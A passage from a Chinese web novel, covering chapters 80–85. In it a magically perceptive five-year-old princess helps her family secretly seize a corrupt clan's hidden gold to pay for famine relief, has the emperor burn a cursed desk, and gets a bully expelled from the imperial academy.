他话还没说完,下人匆匆进来禀报:“王爷,王妃,刚刚街上传得沸沸扬扬,说韦家藏在城西山的一個秘密粮仓,不知怎地被流民给发现了!全给抢光了!”
“噗——”萧元珩一口茶喷了出来,目光落在了自家小闺女身上。
他才听萧宁珣说完这事,没想到就听到了这个消息。
萧宁珣也看向了正在努力吃点心的妹妹。
团团抬起头,眨巴着大眼睛看着爹爹和哥哥们,一脸“不关我事呀”的无辜表情。
唯有萧宁远一脸茫然:“韦家?镇海侯府?他家的粮仓被抢了?这……这跟咱们有什么关系?”
萧宁珣默默收回目光:“那是他们罪有应得,自然跟咱们没有关系。”
萧元珩问道:“韦家没有报官吗?”
下人一愣:“未曾听说。这大街上的人还都纷纷称赞,韦家粮仓被抢,居然不去追究,实在是爱民如子呢。”
萧宁珣哼了一声:“就韦秉安那个样子,爱民如子?笑话!”
萧元珩摆了摆手,下人退了出去。
“远儿,你一路随流民回京,他们的情形如何?”
萧宁远想了想:“父亲,整个北方现在都是大旱,庄稼几乎颗粒无收,庄户们都是被逼无奈才背井离乡的逃了出来。”
“我一路走来,流民越来越多,路上盗匪不断,粮价不停飙升。”
“流民们除了饥饿,还有病痛。老人,孩子,病人混在一起,儿子非常担心,若不及时解决,将有疫病发生。”
萧元珩眉头紧皱:“为父也正在担心这个,灾情日益严重,不知何时能解,若不及时救治,疫病便无法避免,到时这京城恐怕都要岌岌可危了。“
“可是,灾情如此严重,这赈灾的银两……可是个大数字啊。”
团团从点心堆里抬起头来:“爹爹!拿鞭子打老爷爷的坏蛋家有很多很多金子银子哦!把他的家抢了就够啦!”
萧元珩将女儿抱了起来:“哦?我们团团怎么知道他家的事?“
团团揪着爹爹的耳垂玩:“我就是知道啊!我还知道他家的宝贝都藏在哪里呢!“
“父亲!难怪韦家粮仓被抢,他们却不去报官!那些粮食定然并非是他们的根基,倒还趁机赚了个好名声!”萧宁珣愤愤不平。
萧宁远在外行商,非常了解:“韦家囤积粮食,定是要趁粮价飞涨好大赚一笔。他家最初就是靠这个起家的,这些年没少赚黑心钱。“
“那些流民抢了他们,真是大快人心。“
萧元珩看了眼闺女:“团团,他家放银子的地方在哪儿啊?”
兄弟两个一听,眼睛都亮了,也
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一齐看着妹妹。
团团小手一指:“就在出城往这个方向去的那片山里。”
“爹爹,那里有好多好多的金子和银子呢!”
萧元珩笑了:“去把辰儿叫回来,晚上咱们去见识见识!”
“是!父亲!”萧宁珣连忙走出去,安排人去京郊大营叫二哥。
当晚。
萧元珩带着二儿子,三儿子,小女儿和几十名王府的侍卫,来到了团团所说的,京郊南部的群山之中。
之所以带上了团团,是因为实在是甩不掉,团团一听爹爹和哥哥们要去抢坏蛋的金库,觉都不睡了,硬是要跟着。
任凭程如安如何哄都不答应,萧元珩只得连她一起带上了。
“就在前面这座山里!“团团趴在三哥背上,小手一指。
萧宁辰哼了一声:“还真是狡兔三窟,粮仓在西郊,金银在南郊。”
“走!”萧元珩带头向山里潜行。
不多时,所有人全都在山脚处停下,萧二一个人悄悄去前面探路。
半晌后,萧二回来了:“王爷,前面有一处山洞,洞口有几个猎户的草屋,里面都住满了人。”
“还有3个猎户打扮的人在洞外闲聊。这些猎户应该就是看守金库的人假扮的。”
萧宁辰哼了一声:“想得还挺周到,这里时有野兽出没,扮成猎户合情合理,还不引人注目。”
萧二问道:“王爷,咱们直接冲进去?”
“不妥。“萧元珩想了想:”此处地势易守难攻,若直接硬闯,必有伤亡,到时京兆府一插手,事情就复杂了。”
“最好能无声无息地给他搬空了,让韦家有苦说不出,只能自认倒霉。”
几个人互相看了看,都在思索如何才能做得到。
团团打了个哈欠,萧宁珣马上道:“困了吗?睡吧,就在三哥背上睡。”
团团揉了揉眼睛:“我不睡!还没看到金子呢!”
“爹爹,让‘咕咕’来帮咱们吧!”
“咕咕?啥玩意儿?”萧元珩愣住了。
第81章 咕咕回家啦
团团抬起头看着头顶:“咕咕!这里还有别的路能进那个山洞吗?你带我们去好不好?我有肉干给你哦!”
几人向上看去,黑洞洞的树顶,什么都看不清楚。
突然,一只体型硕大的猫头鹰无声无息地飞了下来,盘旋了几圈后,落在了最低的树杈上。
一双圆溜溜、在黑暗中泛着幽光的眼睛,精准地盯住了团团。
团团拍了拍三哥的肩膀:“三哥哥,带我过去。”
萧宁珣背着妹妹小心翼翼地靠近了猫头鹰落下的树杈。
团团打开身上的小荷包,掏出了一块肉干放在手心,轻轻举过头顶:“咕咕,给你!”
那是她总惦记着随时去看雪豹,才随身带着的。
猫头鹰脑袋歪了一下,看了一眼她手中的肉干,啪嗒一下叼走了。
团团笑了:“你答应啦!吃了我的肉干,就要听我的话哦!”
猫头鹰咕咚咽下了那肉干,悄无声息地飞了起来,朝另外一个山脚飞去。
“跟上!”萧元珩一声令下,一行人形如鬼魅,迅速跟了上去。
猫头鹰停在了一棵树上。
萧二敏锐地查看了一下四周:“王爷,此处像是在那山洞的后面。”
夜色如墨,唯有冷冽的月光透过交错的枝桠,投下斑驳破碎的光点。
透过微弱的光线,可以看到,山壁上覆盖着厚厚的枯藤与墨绿色的苔藓,在夜风中微微晃动,仿佛一道天然的屏障。
众人仔细查看了一番,没有入口啊。
团团抬头问猫头鹰:“咕咕!入口在哪里啊?我进不去呢。”
猫头鹰似乎听懂了,喉咙里低低的“咕呜”了两声,在空中优雅地转了个圈,随即双翅一敛,毫不犹豫地、径直撞向那面看起来密不透风的藤蔓墙!
在所有人惊愕的目光中,它的身影瞬间消失在了浓密的枯藤之后,仿佛被山体吞噬了一般,只留下几片微微晃动的藤叶。
众人:“!!!”
萧元珩瞳孔微缩,萧宁辰瞪大了眼睛,萧二险些惊呼出声。
“咕咕回家了!”团团却高兴起来,小手指着猫头鹰消失的地方:“爹爹!入口就在咕咕的家里!”
萧元珩眼中爆发出锐利的光芒,低喝:“萧二!”
“是!”萧二立刻上前,带着两名侍卫,小心翼翼地拨开那层层叠叠,积累了不知多少年的枯藤。
入手潮湿滑腻,带着腐朽的气息。
随着枯藤被一点点扯开,一个隐藏的天衣无缝的洞口,赫然出现在眼前!
洞口不大,仅容一人勉强通过,边缘都是粗糙的岩石,看上去更像是什么野兽废弃的巢穴,或是山体上一道天然的裂缝。
萧二率先走了进去。
“王爷,确有山洞!深不见底!”半晌后,他的声音从里面传了出来。
谁能想到,韦家重重看守、机关算尽的藏宝密洞,竟然会存在这样一个连他们自己都不知道的“后门”!
而这后门,竟是一只猫头鹰的巢穴!
萧宁辰深吸一口凉气,看了一眼弟弟背上的小娃娃。
只见小家伙一脸“看吧,我就说我知道啊”的模样。
“团团啊!”他低声喃喃,随即眼神一厉,“父亲,我随萧二进去探路,你们先在这里等着。”
又看向其余侍卫们:“其余人,外围警戒!”
“是!”
萧元珩点了点头,给了儿子一个赞赏的眼神,行,这些日子没白在军营里待着,学了点儿东西!
片刻后,几人返回:“王爷,安全!洞内狭窄,但可通行,似乎通向山腹!”
萧元珩沉声下令:“都跟上!不许出声!走!”
众人鱼贯而入,洞口虽窄,但内部却比想象中要深幽且干燥。
越往里走越是宽敞,谁都没有想到,入口那般狭窄,里面竟然是一个极为宽敞的天然石窟。
一行人穿过了一片宽阔的地带,再度进入了一个低矮的入口,等到眼前再度一亮,眼前的景象却足以让见惯了大场面的萧元珩都不禁呼吸一窒。
一口口沉甸甸的大樟木箱子整齐排列着。
许多箱子的箱盖都没有完全阖上,缝隙中露出了刺目的、在火光下流转的诱人光泽:全都是黄金和白银!
成箱的金锭、银锭!还有不少箱子里是璀璨的珠宝首饰、古玩玉器!
其数量之多,价值之巨,远远超乎了萧元珩的的想象。
几个人互相看了一眼,看来,韦家这些年搜刮的民脂民膏,应该都在这里了。
萧二快步上前,随意检查了几口箱子,声音都有些颤抖:“王爷,全是真金白银!这!这得有多少啊……”
萧元珩面色沉静,拿起一锭沉甸甸的金元宝,抬头环视了一遍这巨大的宝库,又回头看了看那狭窄的来路,眉头迅速锁紧。
“爹爹,发财喽!他家的金子银子,够爹爹拿来给那些流民啦!”团团高兴地扯了扯他的衣角。
萧元珩却没有丝毫喜悦。
他缓缓摇头,语气凝重:“如此多的金银,重量惊人,目标极大。”
“莫说一夜之间运走,便是搬运出山,也绝无可能瞒天过海。京城各门守军绝非摆设,必会盘查。”
众人闻言,面面相觑,是啊,谁也没有想到,竟然有这么多!怎么运出去?
萧二有些焦急:“王爷,那该如何是好?难道……就此放弃?”
“放弃?”萧元珩唇角勾起一个狡猾的笑容,那是他在战场上面对强敌时才会露出的、属于猎手的笑容,“到了嘴边的肉,岂有吐出去的道理?”
“我们不运走!”
众人都是一愣,不运走?
“萧二,你带人立刻清点所有箱笼,检查石窟各处,确保再无其他出口暗道!”
“其余人,听我命令!将这些箱子,全部打开!把里面的金银珠宝,尽数搬走,堆到咱们来的时候,石窟最深处的那片洼地里去!”
“啊?”所有人都听得一脸懵。
第82章 你怎么在这跪着?
“快!不必整齐,搬!速度一定要快!“
虽然不明所以,但所有人都听令行事,立刻动手。
很快,那片洼地里便堆起了一座耀眼却杂乱的金银小山,珠宝和玉器都被小心地埋在了里面。
“搬石头!拉藤曼!将咱们进来的入口全部封堵!”
“父亲!”萧宁辰有点明白了。
“虚则实之,实则虚之。”萧元珩目光幽深,“韦家发现金库被盗,第一反应必定是认为已被人将财物运走。”
“这么大一笔钱财,来路不明,他们定然不敢报官。”
“只会发疯一样向外追查,绝对想不到,东西其实还在他的老巢里,只是换了个地方!”
“妙啊!”萧宁辰恍然大悟,崇拜地看着自家老爹,这战场上磨炼出来的头脑!
萧二也懂了:“王爷高见!如此一来,我等只需守住这个秘密入口,待风头过去,他们放弃搜索,便可分批少量,从容运出!神不知鬼不觉!”
“正是此理!”萧元珩点头,“现在,所有人仔细清理一切痕迹!一丝一毫都不能留下!”
所有人都埋头干活,唯有团团,趴在萧宁珣的背上,睡得无比香甜。
萧宁珣笑了:“幸亏啊,带着你来了,小懒虫!”
众人干完了,沿着原路退出了后门洞口。
萧元珩吩咐:“将此洞口,从内部用石块泥土给我封死!要封得看起来像是年久塌方自然堵塞一般!外部藤蔓,务必恢复原样,不得有误!”
“是!”
侍卫们中不乏此道的好手,很快便将洞口处理得天衣无缝。
众人站在洞外,再看那面山壁,藤蔓垂落,苔藓依旧,仿佛千百年来从未有过任何改变。
只有那只猫头鹰似乎有些不满自己家的入口被堵,落在不远处的枝头,歪着头望着这群奇怪的两脚兽。
萧元珩对它微微颔首,算是感谢,随即低喝一声:“撤!”
一行人如同来时一般,悄无声息地融入了夜色山林,消失得无影无踪。
次日一早,皇帝萧杰昀,走进了王府,指名要见团团。
程如安急忙把女儿叫醒,哄着她穿好了衣服,带到了萧杰昀的面前。
团团打了个哈欠:“皇伯父,你来得好早哦!饿不饿?我还没吃早饭呢!”
萧杰昀微微一笑:“朕也有些饿了,不如陪你一起吃?”
“嗯!”团团看向母亲:“娘亲!我饿了。”
程如安连忙让下人将早膳端上来,暗暗惊讶,团团何时跟皇帝熟成这样了?
萧杰昀没吃几口便放下了筷子,悠闲地喝着茶,萧元珩坐在一旁照顾着团团。
皇帝面带微笑地看着团团大口大口吃的喷香喷香:“皇叔,朕若是日日看着她这样吃,也能多吃几口了。”
萧元珩一脸慈爱地看着女儿:“她胃口一直如此,好得很呢。”
团团抬起头:“皇伯父,你看着好多了哦!”
萧杰昀道:“朕来这里,正是为了此事。”
“国师听说是你发现的那符箓,让朕从那日算起,过了十五日,再来找你。”
萧元珩抬起头来,面色一正:“国师的意思是?”
团团抬起小脸接口:“十五日不够哦!皇伯父,你被偷走的气运回不来啦,那个坏东西要三十日后才会不再让你难受。”
萧杰昀的脸色沉了下来:“这么久?”
团团继续埋头大吃:“已经很快啦!皇伯父。”
萧元珩问道:“皇上,可查到些什么?”
萧杰昀脸上划过一丝苦笑:“查到……此事与母后有关。”
“什么?”萧元珩惊呆了,“太后?她想干什么?”
团团也很奇怪:“太后娘娘?她不是皇伯父的娘亲吗?娘亲怎么会害自己的孩子呢?”
萧元珩赶紧摸了摸她的小脑袋:“乖,先好好吃。”
“哦。”团团听话的接着吃去了。
萧杰昀沉思了片刻:“皇叔,朕也不明白,朕是太后亲生,一直对她礼敬孝顺,她居然会与大夏联手,窃取朕的龙运!”
“大夏?”萧元珩更加惊讶,太后通敌!简直匪夷所思!
“大夏出了一个号称是神明转世的幼童,据说年方七岁,却能呼风唤雨,神异非凡,母后正是与他联了手。”
团团哼了一声:“偷别人的东西算什么神!偷神吗?”
萧元珩忍住笑:“你怎么这么多想头!”
萧杰昀也被她逗笑了:“今日朕来,就是想让团团进宫,看看哪里还有不妥。”
“明日吧。”团团昨晚折腾了半夜,一早便被叫起来见皇帝,困得很,只想睡觉。
萧杰昀点了点头:“好,就明日。”
早膳后,皇帝走了,团团倒头便睡,程如安心疼得不得了,一直陪在她的身旁。
王府书房。
萧元珩端坐案前,看着一本兵书。
脚步声轻响,萧二的身影出现在门口,脸上带着几分古怪的笑意,快步上前,低声禀报:
“王爷,镇国侯府那边有动静了。”
“嗯。”萧元珩眼皮都未抬一下,只淡淡应了一声,意料之中。
萧二憋着笑,继续低声道:“天刚蒙蒙亮,府后门就悄悄驰出去七八匹快马,朝着城外各个方向去了,马上的人看着像是他府内的精锐家丁,一个个行色慌张。”
“辰时末,韦家一支原本要南下采买的商队,货物都装车拉到城门口了,却又被府里快马加鞭赶来的人给叫了回去。”
萧元珩嘴角弯了一下:“家底都没了,是该着急上火了。”
“还有呢,”萧二凑近一步,声音压得更低,“咱们安排在韦家附近的人听得真切。
“那高墙里头,一大早便不太平,隐约传来瓷器摔碎的声音,和一个男子的咆哮怒骂声,乒乒乓乓,闹腾了足有小半个时辰才消停。”
萧元珩放下兵书:“见不得光的银子,全都不翼而飞,查无可查,找无从找,这哑巴亏,他是吃定了。”
萧二笑道:“何止是吃定了,简直是百爪挠心!咱们的人远远瞧着,他们的人漫山遍野地乱窜,四处搜寻,偏偏就是没再去搜藏宝洞的那座山。”
萧元珩微微一笑:“盯住了,待他们全部撤走,便将洞里的金银少量多次运出,全部用于购买粮食和药材,赈济灾民。”
“是!”萧二退了出去。
书房内重归宁静,仿佛刚才的一切都未曾发生。
次日,团团跟着母亲来到了皇宫,刚到门口,程公公便迎了出来:“王妃娘娘安好,陛下命老奴来接小郡主,请王妃娘娘自去拜见长公主殿下。“
程如安点了点头,嘱咐团团:“乖一些啊,别给陛下捣乱。”
“知道啦!”团团应了一声,”翁翁!咱们走吧。”拉着程公公的手走到了紫宸殿的门口。
只见一个人正端端正正地跪得笔直。
“咦?你怎么在这里?”
第83章 龙案当柴烧?不过了?
“大三哥!”团团松开程公公的手,哒哒哒跑了过去,蹲在萧泽的面前,歪着脑袋,一脸好奇:“你跪在这里干嘛呀?好玩吗?”
萧泽闻声抬头,看到是她,原本冷峻的面孔变得温和:“不好玩,被罚了。”
“哦,”团团似懂非懂地点点头,随即伸出小手去拉他胳膊,“不好玩就别玩了,起来呀。”
萧泽的身体纹丝不动,轻轻挡开她的手,低声道:“别闹,父皇正在气头上,搞不好要牵连的你跟着我一起受罚。”
“我才不怕呢。”团团撅了撅嘴。
萧泽也奇怪:“你怎么进宫来了?”
团团闻言,挺起小胸脯,指了指那巍峨的殿门,理直气壮:“有人求我来的啊!”
萧泽脸上一片错愕:“……”
父皇的紫宸殿?
谁?求她?来这紫宸殿?
一旁的程公公听得冷汗都快下来了,见这小祖宗不走了,杵在门口七皇子聊上天了,生怕皇帝等急了,连忙躬身道:“小郡主,快进去吧。”
团团摆了摆手,一副“我知道了,别催我”的小大人模样,就是不走。
程公公赶紧溜进了殿内禀报。
片刻后,那沉重的殿门忽然被人从里面猛地推开!
萧杰昀面色不豫地大步走了出来,目光先是落在跪着的儿子身上,脸上还带着未消的怒意。
随即转向一旁的小娃娃,脸上的寒冰瞬间消融:“团团,怎么还不进去?朕正等着你呢。”
团团抬手指向他,对萧泽说:“就是他求我来的哦!”
萧泽整个人都僵住了,大脑一片空白,父皇,求……她?
萧杰昀没理会儿子震惊的目光,微微弯腰:“别理这个逆子,跟皇伯父进去。”
“不嘛!”团团摇摇头,仰起小脸:“大三哥起来,我才进去。”
大三哥?这什么称呼?老七何时识得的团团?
萧杰昀挑眉看了一眼跪在地上的儿子,又看了一眼,那一脸“我说到做到哦!”的小团子,又好气又好笑。
他无奈地挥了挥手,对萧泽没好气地道:“罢了,还跪着做什么?”
“起来吧!若不是团团为你求情,你至少还得在这里给朕跪上几个时辰!”
萧泽心情复杂的谢恩起身,膝盖都有些麻了。
团团满意了,张开了小胳膊:“皇伯父,抱!皇宫太大了,我的脚脚都走累啦。”
“小郡主,老奴来吧。”程公公急忙上前伸手,想将她抱起。
却见皇帝俯下身子,毫不犹豫地便将她捞进了自己的怀里,转身便向殿内走去,不禁惊讶地张大了嘴巴。
这宫里,除了几位皇子公主小的时候,陛下抱过几次,其他人可万万没这份恩宠啊!
啧啧,这个小郡主,在陛下的心里,当真是不一般啊!
程公公愣了一瞬,急忙跟了上去。
萧泽在一旁更是惊得目瞪口呆,这小不点儿!厉害啊!
团团在内殿中到处走来走去,萧杰昀吩咐程公公跟着她,自己坐在龙案前批阅奏章。
团团这里看看,那里瞅瞅,停在了皇帝的龙书案前。
那龙案由整块紫檀木雕琢而成,盘龙栩栩如生,威严厚重。
团团伸手摸了摸它:“把它烧了吧。”
“什么?”萧杰昀一愣。
“它被偷走的气运太多啦,”团团看着他,眼神清亮,“所以才会有那么多人吃不上饭,成了流民呀。”
轰——!
这话如同一道惊雷,狠狠劈在萧杰昀的心头!
原来北方大旱、流民失所、国库空虚……这一切的天灾人祸,根源竟然就在这里!
就在他每日伏案处理国事的龙案之上!
他喃喃自语:“竟是这样?原来如此……”
震惊过后,便是滔天的怒意和后怕!
“来人!将这龙案给朕搬出去!劈碎了!立刻烧掉!一片木头都不许留!”
“陛下!”内侍们都惊呆了,面面相觑,怀疑是不是自己的耳朵出了问题。
烧…烧龙案?这可是御用之物,象征着龙威皇权啊!
“没听到朕的旨意吗?!”萧杰昀厉声喝道。
“是!是!”内侍们这才如梦初醒,慌忙上前,七手八脚地将那沉重的龙案抬出了紫宸殿。
很快,这个消息便像长了翅膀一样飞遍了皇宫。
“听说了吗?陛下下旨,把紫宸殿的龙案烧了!”
“天爷啊!这是出了什么大事?”
“龙案当柴烧?不过了?”
整个宫廷都被这石破天惊的旨意震得目瞪口呆。
宸晖殿中正在闲话家常的长公主和程如安自然也听到了。
长公主不放心地吩咐:“去看看,皇帝那里出了什么事了。”
程如安则心中猜测,如此匪夷所思之举,估计,又是跟团团脱不了干系。
此时的团团,已经像巡视自己的领地一样,将紫宸殿的每个角落都走了个遍。
“好啦!放心吧!皇伯父,没有坏东西啦。”她骄傲地抬了抬下巴。
萧杰昀放心了,吩咐程公公将她送去宸晖殿找程如安。
刚走出紫宸殿,便看到了萧泽。
团团高兴地跑了过去:“大三哥!你怎么还在这里?”
“等你啊!”萧泽看向程公公,“我带她走,你回去伺候父皇吧。”
程公公才犹豫了一下,团团已经拉起了萧泽地手:“翁翁!我跟大三哥去玩啦!”
程公公只得躬身回了一句:“是。”转头回去了。
萧泽低头看着她:“我带你四处走走吧,这宫里,你都去过哪里?”
团团想了想:“皇伯父,皇姑姑地宫里,还有那个……对啦,太极殿!”
“这宫里可大着呢,我陪你到处逛逛。御膳房里好吃的不少,饿了去我那里,让他们给你做顿好吃的,好不好?”
“好!”
两人随意闲逛,慢慢地走到了一处破旧的殿宇附近。
团团仰头看去:“哇!皇宫里也有这么破的地方啊!”
萧泽答道:“因为,这里是冷宫啊!”
“冷宫?”团团跑过去摸了摸墙壁,“不冷啊!”
萧泽笑了:“冷宫并不是很冷的意思,而是一些犯了罪的嫔妃们居住的地方。”
“哦!”团团明白了,一双大眼睛四处张望,突然,抬手一指,问道:“大三哥,那个老婆婆是谁啊?”
第84章 一起去国子监啦
萧泽顺着她手指的方向看去,只见一个衣衫破旧,头发花白的老妇人正在不远处,墙根下的草丛中,像是找寻着什么,
嘴里还不住地喃喃自语。
两人走近了一听,“阳阳!你在哪里啊?别淘气了,快出来啊……”
“我也不知道。”萧泽微微蹙眉,这老妇人是谁?
团团大声喊了一句:“老婆婆!你在找东西吗?”
那老妇人闻声猛地回头,露出了一张布满深刻皱纹、脏污却依稀能看出昔日清秀轮廓的脸。
看到萧泽和团团,她浑浊的双眼猛地瞪大,像是见到了什么极其恐怖的事情,尖声大叫起来:
“阳阳!快跑啊!有人要杀你啊!快!快躲起来!你不能死啊!你可是皇子啊!快跑——!”
这凄厉的呼喊如同夜枭啼哭,吓了团团一跳。
萧泽心头剧震,跨步上前,沉声追问:“皇子?你有皇子?你是谁?他人呢?”
那老妇猛地住口,像是突然从噩梦中惊醒,脸上瞬间布满了惊惶,掉头便跑,虽然跌跌撞撞,但速度快得完全不像是一个上了年纪的老人。
“喂!你的东西掉了!”团团眼尖,看到地上一个不起眼的、边缘有些磨损的旧铜牌,连忙喊她。
但那老妇只是脚下微微一顿,头都没回,便迅速消失了。
“她跑得好快呀。”团团跑到铜牌前,弯腰捡了起来。
铜牌上似乎刻着些模糊不清的花纹,还沾着些许泥土。
她擦了擦上面的土:“你不要,那就归我啦!”打开腰间绣囊便塞了进去。
萧泽望着那老妇人消失的方向,百思不得其解。
“大三哥?走啦!”团团拉起他的手,二人继续往前走去。
刚走出这片荒凉的地方,便迎面撞上了一位熟人,国子监祭酒崔代盛。
萧泽立刻收敛神色,恭恭敬敬地行礼:“学生见过老师。”
国子监祭酒乃当世大儒,学识渊博,为人正直,他发自内心地尊敬这位性情耿直的老者。
崔代盛微微颔首,目光落在他身旁的团团身上,脸上顿时绽放出无比热情的笑容,对着团团躬身行礼:“小师傅!您今日怎么得空入宫了?”
萧泽:“???”
他看着这位素来清高、连父皇面子都敢驳的祭酒大人,对着身边的小娃娃行礼还口称“小师傅”。
只觉得整个人都不好了。
这个小团子是祭酒的小师傅?那我呢?!
团团则对崔代盛的热情早已习以为常,摆了摆小手:“唔,是你啊,我来玩呀。”
崔代盛笑呵呵地道:“小师傅,何时有空莅临国子监,给徒弟那些不成器的学子们授课?”
“不去不去!”团团小脑袋摇得像拨浪鼓,“我才不要去呢!我还想去万灵苑看雪豹呢!”
崔代盛一听就急了,连忙哄她:“就一个时辰!不,半个时辰也行!绝对不耽误小师傅去万灵苑!”
团团歪着头想了想,乌溜溜的眼珠一转:“要我去也行,那我要三哥哥以后也去国子监读书!他去,我就去!”
“没问题!绝对没问题!”崔代盛答应得飞快,“小师傅请放心,此事包在弟子身上!”
“您是老夫的小师傅,本就已是国子监的夫子了,这点小事,您一句话便可解决!只要您肯去就好,肯去就好啊!”
萧泽僵立在一旁,听着这一大一小完全无视他的对话,看着崔祭酒那近乎“谄媚”的态度,觉得一定是今日自己跪得太多了,头还晕着不太正常。
提起三哥哥,团团“哎呀”一声,这才想了起来:“完了完了,娘亲还在皇姑姑那里等着我呢!大三哥,快送我去!”
“大三哥?“崔代盛看了一眼萧泽,他不是七皇子吗?
“对啊!他就是我的大三哥!“团团回道。
萧泽这才从巨大的震惊中回过神来,神情复杂地看了一眼自己的老师,又看了看她,对着崔代盛深深行了一礼:“老师,学生先送她过去。”
崔代盛笑眯眯地挥手:“快去快去,莫要让宁王妃久等。”
回府的马车上,团团开心地将这件事告诉了程如安。
“所以呢,娘亲!明天开始,三哥哥就可以去国子监读书啦!我还可以陪着他一起去!”
程如安初听还不敢相信,那可是国子监啊!若非各个学院中出类拔萃的学生,根本没有资格走进它的大门!
她又惊又喜:“团团,你说真的吗?你三哥能进国子监读书了?崔祭酒答应了?”
“当然啦!”团团用力点头,一脸得意,“他是我的徒弟嘛!当然要听我的话啊!”
程如安将女儿紧紧搂在怀里,又是激动又是感慨,眼圈都有些泛红:“小团团啊,你可真是娘亲的好女儿哦!”
次日一早,萧宁珣带着团团,来到了国子监。
萧宁珣小心地把妹妹抱下马车,仰头看着那高耸的门楣,心中既自豪又有些紧张。
团团也仰着小脑袋看着:“这里就是国子监啊!”
“对啊。”萧宁珣正准备牵着她的手,一起跨进这最高学府的大门。
一道刺耳尖刻的嗓音传进了耳中。
“萧宁珣!你怎么来了?哟,这不是你家那个乡下接回来的郡主吗?”
“这里可是国子监!凭你是什么身份,没有经过夫子的考核,都休想进得来!”
萧宁珣眉头微蹙,抬头一看,又是韦秉安!
他的身后还跟着几个显然是以他为首的学生,正一齐晃悠着向自己走来,个个脸上神色不善。
韦秉安看见他们兄妹就恨:“国子监是天下文华聚集之地,不是你们宁王府孩子们玩闹的地方!”
“赶紧带着你这个乡下妹妹滚蛋,别污了这里的圣贤书气!”
他话音刚落,身后几个纨绔立刻发出一阵哄笑。
萧宁珣脸色瞬间沉了下来,将团团护在身后:“韦秉安!你嘴巴放干净点!你怎么还不长记性?我妹妹如何,轮不到你来说三道四!”
“怎么?我说错了?”韦秉安上前一步,语气愈发嚣张,“就算她是郡主又怎样?这里可是国子监!”
“一个路都走不稳的小娃娃,也配进国子监?怕是连大字都识不得几个吧?“
“来这里干嘛?丢宁王府的人吗?”
第85章 快把医师请来!
“你!”萧宁珣气得双拳紧握。
“韦三,不可无礼,你也知道这里是国子监!”旁边走来了一个学生打扮的少年。
“世子殿下。”韦秉安见到他急忙行了个礼。
“并非在下无礼,殿下请看,萧宁珣未经考核,还带着个小娃娃就想进来,难道还不让我说了?”
萧宁珣见到这个少年,也拱手行礼:“世子殿下。”
低头小声对团团道:“团团,这是皇族宗亲子弟,萧琦世子。”
团团看了萧琦一眼:“世子是什么啊,三哥哥。”
韦秉安唇角一扯:“啧啧,萧宁珣!你看看,还敢说她不是见识浅薄的粗鄙之人?连世子是什么都不懂!”
团团一脸奇怪:“我才五岁哦!又不是跟你一样大!你五岁的时候懂吗?”
韦秉安顿时语塞,片刻后,哼了一声:“我五岁的时候比你懂得多了!”
萧琦微微一笑,这个小娃娃有点儿意思,韦三如此咄咄逼人,她居然不怕。
“韦兄可别小瞧了她,我妹妹就是因为她的诡计多端,才在清音堂吃了大亏。”周景安听到了他们的对话,走了过来。
团团一看,暗算追风的坏蛋,抢我饭的坏蛋,怎么都在啊!
这国子监里怎么这么多坏蛋!
韦秉安一听有人相助自己,顿时更加狂妄起来:“是吗,周兄不说,我还真当她是个小废物呢。”
团团笑了:“小废物骂谁?”
韦秉安嘴快:“小废物骂你!”
团团拍着小手,笑得停不下来:“对啊!就是小废物在骂我!你好笨哦!怎么不长记性啊!”
韦秉安顿时想起了在万灵苑的那句,小杂种骂谁,气得脸一下子涨得通红。
身边的几个学生也忍俊不禁,捂嘴偷笑。
周景安摇了摇头:“韦兄,方才你说她从乡下而来,粗鄙不堪,我还不信,不想竟果然如此。”
“此种污言秽语的市井伎俩,岂是你我这般在此就读的雅士所能知道的?”
萧宁珣忍无可忍:“敢这么说我妹妹!我就是从此再也进不了这国子监的大门,也要打得你们满地找牙!”上前一步便想动拳头。
团团拉住了他的衣角:“三哥哥,别打架。”
然后,板着一张小脸,盯着韦秉安,声音软糯而清晰:“你,从此以后,再不许进国子监的大门!”
“什么?”韦秉安一愣,仿佛听到了天大的笑话,随即一顿狂笑,“哈哈哈!你是不是疯了?你知不知道小爷我是谁?”
“你算个什么东西?敢让小爷从此进不来?”
周围的学生们也纷纷笑得前仰后合。
“这孩子怕不是被韦三吓傻了吧!”
“就是!简直满嘴胡言!”
他们的笑声还没停,一个怒气冲冲的声音如同惊雷般响起:
“她算什么东西?她是我小师傅!你说她算什么东西!”
祭酒崔代盛气喘吁吁地从里面快步赶了过来。
他板着面孔,脸色铁青,死死地盯着韦秉安。
“祭…祭酒大人?”韦秉安脸上的笑容瞬间僵住,我听见了什么?祭酒喊这个小娃娃师傅?
崔代盛走到团团面前,恭恭敬敬地行了一礼:“小师傅,弟子来迟,让您受惊了,还请恕罪。”
团团一脸理所应当的表情,点了点头。
周围所有人,瞬间全部石化。
祭酒大人竟然对着一个奶娃娃行礼?还称她……小师傅?!
韦秉安张大了嘴,半天没想起来合上。
崔代盛这才转过身,目光冰冷地扫过在场众人:“方才,是谁在此大放厥词,辱我师长?”
“是…是他!”韦秉安吓得魂飞魄散,下意识指向周景安,韦家刚刚损失了一大笔钱财,父亲这几日正值盛怒。
今天的事若是被祭酒告到家里,自己绝没好下场!
他语无伦次地狡辩:“老师,是他在这里胡说八道,辱……辱没您的师长!学生,学生只是在一旁说了几句闲话而已!”
“要罚该罚他才是!”
周景安被他的无耻震惊到了:“韦秉安!明明是你在这里堵着大门不让他们进来,我才是在一旁说了几句闲话!”
崔代盛哼了一声:“萧世子,你来说。”
萧琦给他行了礼,一五一十的将刚才发生的事情说了一遍,没偏袒任何一方。
团团看了他一眼,这个人还可以嘛,没胡说八道。
崔代盛听完,看着韦秉安:“从今日起,你,韦秉安,不再是我国子监的学生!立刻收拾你的东西,滚出国子监!”
“祭酒大人!您不能这样,不能啊!”韦秉安慌了,急忙下跪求饶。
“不能?”崔代盛冷笑,“我国子监庙小,容不下你这尊欺师灭祖的大佛!连我的师傅你都敢不放在眼里,我教不了你这样的学生!”
韦秉安面如死灰,明白已无可挽回,只能用怨毒的眼神狠狠剜了团团兄妹一眼,灰溜溜地狼狈离去。
周景安悄然小步后退,生怕殃及自己,只盼多长出一条腿来,退得再快些,免得让老师注意到了。
崔代盛满脸堆笑地对团团道:“小师傅,您里面请?”
“嗯!”团团牵起他的大手,跟着他走进了国子监。
萧宁珣脸上的笑容极其自豪,这是我的妹妹!
周围众人纷纷让开一条道路,直到他们走远,脸上的惊愕都没有消失。
一行人径直来到一间课室外。
课室内,一位身着青色儒袍、气质温润的年轻夫子正在授课,见到崔代盛,连忙停下,恭敬行礼:“学生左正极,见过老师。”
崔代盛点点头,侧身让出团团,郑重道:“正极,快来见过你师祖。”
左正极结舌:“……师、师祖?”
